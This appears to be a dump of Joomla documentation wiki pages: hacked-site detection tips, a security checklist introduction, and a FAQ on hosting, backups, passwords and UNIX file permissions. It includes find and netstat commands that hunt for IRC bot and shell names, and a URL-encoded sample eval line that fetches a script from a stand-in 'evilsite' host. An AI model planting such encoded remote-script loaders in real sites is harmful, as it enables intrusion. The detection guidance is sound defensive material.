Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

User talk:Chris Davenport

2011-09-26T22:45:31Z

Cadrlp: spelling of January on VEL

Security Checklist/Getting Started

2011-09-26T22:41:22Z

Cadrlp: /* Edited by */ not needed as it's a wiki and your can see from the history you edited this page

{{RightTOC}}
== Read Me First==

=== Security matters ===

:Internet security is a fast moving challenge and ever present threat. There is no one right way to secure a website, and all security methods are subject to instant obsolescence, incremental improvement, and constant revision. All public facing websites are open to constant attack. Are you willing and able to invest the time it takes to administer a dynamic, 24x7, world-accessible, database-driven, interactive, user-authenticated website? Do you have the time and resources to respond to the constant flow of new Internet security issues? The [[Top 10 Stupidest Administrator Tricks]] is a comic/tragic look at what can go wrong. Don't learn these tricks the hard way! Depending on your own experience, reading the ''Stupidest Tricks'' will either make you laugh or cry. Luckily, there are some well-established principles upon which to base your defensive plans. The following checklists point you toward current best practices for Joomla security.

=== How to read these documents ===
#Not all techniques are appropriate for every level of experience. Apply the techniques you understand and read up on the ones you don't.
#Not all techniques are appropriate for every server. If you use a shared server, you must depend on the settings established by your hosting provider. If you are using a virtual or dedicated server, you can apply more creative security tactics.
#Not all security tactics are appropriate for all versions of Joomla. Where a technique applies to only one version it is noted by one of the following icons: {{JVer|1.0}}{{JVer|1.5}}{{JVer|1.6}}{{JVer|1.7}}.

=== The most important guidelines===
:These checklists are long and growing because the full plot is thick, complex, and expanding, but don't despair! Here are a few essential guidelines for securing any website. Following them will protect you from most catastrophes.

# '''Back up early and often:''' Set up (and use and test) a regular backup and recovery process. When done well, this ensures that you can recover from almost any imaginable disaster.
# '''Update early and often:''' Promptly update to the latest ''stable'' version of Joomla! and any installed third-party extensions. This ensures that your site is protected from the newest vulnerabilities as soon as a fix is released and from the latest attack methods as soon as a defense is developed.
# '''Use a secure host''': Use a high-quality Web host. Do not be fooled by offers of 'unlimited bandwidth, unlimited hard drive space, unlimited databases, etc.
# '''Use the community''': Don't forget the truism, "If a deal is too good to be true, it is." It seems that nothing on Earth is unlimited--except perhaps the gullibility of fools and the greed of those who prey upon them. Consider hiring professional assistance if you have inadequate experience or knowledge in this area. One of the advantages of GNU software is that user support is free. Take good advantage of this by asking good questions within the [http://forum.joomla.org Joomla! Forums]. When doing so, be sure to use the the most appropriate board, such as Installation, Migration and Updating, Administration.

::The most helpful posts in the Joomla! Security Forum are converted into [[Security and Performance FAQs]]. Many of the items on this list are explained in much greater detail in the FAQs.

::You may want to read the excellent [[Beginners|Absolute Beginners Guide to Joomla!]] It has wealth of tips and tricks presented in an easy to understand format. Even experienced Joomlaists find great ideas here.

::Hunt down the many nuggets of wisdom found in the [http://forum.joomla.org Joomla! Forums], in particular the [http://forum.joomla.org/viewforum.php?f=432 Joomla! 1.5 Security Forum] and the [http://forum.joomla.org/viewforum.php?f=267 Joomla! 1.0 Security Forum].

::To receive all Joomla security announcements, subscribe to Joomla Security News. There are several ways to subscribe:

::# [http://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews Automatic Email Notification]
::# [http://feeds.joomla.org/JoomlaSecurityNews RSS feed].

=== The bad news ===
#'''There is no perfect security on the Web!''' As economists would say, "There's no free lunch." Don't be fooled by Joomla's award winning ease-of-use. Maintaining a secure Web site on the open Internet is not easy. Maintaining adequate security requires a wide and ever-growing range of skills and knowledge, constant watchfulness, and a robust backup and recovery process.
#'''There's no one right way!''' Due to the variety and complexity of modern web systems, security issues can't be resolved with simple, one-size-fits-all solutions. You (or someone you trust) must learn enough about your server infrastructure to make valid security decisions. Strong security is a moving target. Today's expert might be tomorrow's victim. Welcome to the game...
#'''There's no substitute for experience!''' To secure your Web site, you must gain real experience (some of which will be bitter), or get experienced help from others. If you haven't invested the considerable time it takes to learn how to maintain a secure Web site, be sure you can consult with someone who has. Read this tongue-in-cheek description of the [[Top_10_Stupidest_Administrator_Tricks|Top 10 Stupidest Administrator Tricks]] which illustrates typical, blow-by-blow examples of how to learn Web security the hard way.

=== The good news ===

#'''Even a beginner can start at the head of the herd''' User forums for many systems are clogged with [http://www.google.com/search?q=Help!+I've+been+hacked Help! I've been hacked] posts by people who did NOT follow standard security practices. If you are studying this checklist before your site is attacked, congratulations, you're already ahead of the herd.
#'''It's not as hard as it looks''' If this is one of your first websites, security issues may seem overwhelming, but you don't have to deal with all of them at once. Start with the most critical issues. As you become more familiar with [http://www.gnu.org GNU] tools and techniques, including [http://www.gnu.org/ GNU/Linux], [http://www.apache.org Apache], [http://www.mysql.com MySQL], [http://en.wikipedia.org/wiki/SQL SQL], [http://www.php.net PHP], [http://en.wikipedia.org/wiki/HTTP HTTP], [http://en.wikipedia.org/wiki/CSS CSS], [http://en.wikipedia.org/wiki/XML XML], [http://en.wikipedia.org/wiki/RSS RSS], [http://en.wikipedia.org/wiki/TCP/IP TCP/IP], [http://en.wikipedia.org/wiki/FTP FTP], [http://subversion.tigris.org/ Subversion], [http://en.wikipedia.org/wiki/JavaScript JavaScript], and [http://www.joomla.org Joomla!], you'll add refinements to your set of security tactics.
#'''You can get help''' If you believe your website was attacked, '''do not''' simply post an announcement with full details in the Joomla! forums. If you are dealing with a new vulnerability or new form of attack, publishing that information could put other websites at risk. Instead, report possible security vulnerabilities to the [http://developer.joomla.org/security/contact-the-team.html Joomla! Security Task Force].

== Security Checklists Table of Contents==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Security and Performance FAQs

2011-09-26T22:38:36Z

Cadrlp: /* How do I choose a quality hosting provider? */ reword

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!

* '''Level 1 (Banking!)''' - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!

= Joomla! Core =

==How can I check my Joomla! installation's overall security and health?==

: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.

: Project Home: http://joomlacode.org/gf/project/jts/

==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==

# Login to your Joomla! sites Administration site
# From the menu, select Extensions -> Module Manager
# From within the Module Manager, select Administrator
# From the Icon Menu (top right), select New
# From the choices available, select Feeds Display
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL
# Select cpanel as the position
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel
# Select Save from the Icon Menu (top right)
# Go back to your Admin Site main page (Site -> Control Panel) and you should see your newly built Security Feed.

: You can also use this technique to deliver your own "Customer Updates" to sites that you build for others. It's a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they'll see your latest news.

==Why should I immediately change the name of the default admin user after a new install?==

'''Overview'''

: All new Joomla installations start with a Super Administrator account called, 'admin'. During the installation process, you will be asked to give this account a password. That's great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they're in.

: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.

'''Directions'''

# Log into the Back End
# Select User Manager
# Select the 'admin' user record
# Change the value in username. (Good user names contain a mix of letters and numbers.)
# Save
# Remember the new username!

== Why does the Back-End session stay alive even though I set it to expire? ==

: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:

# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

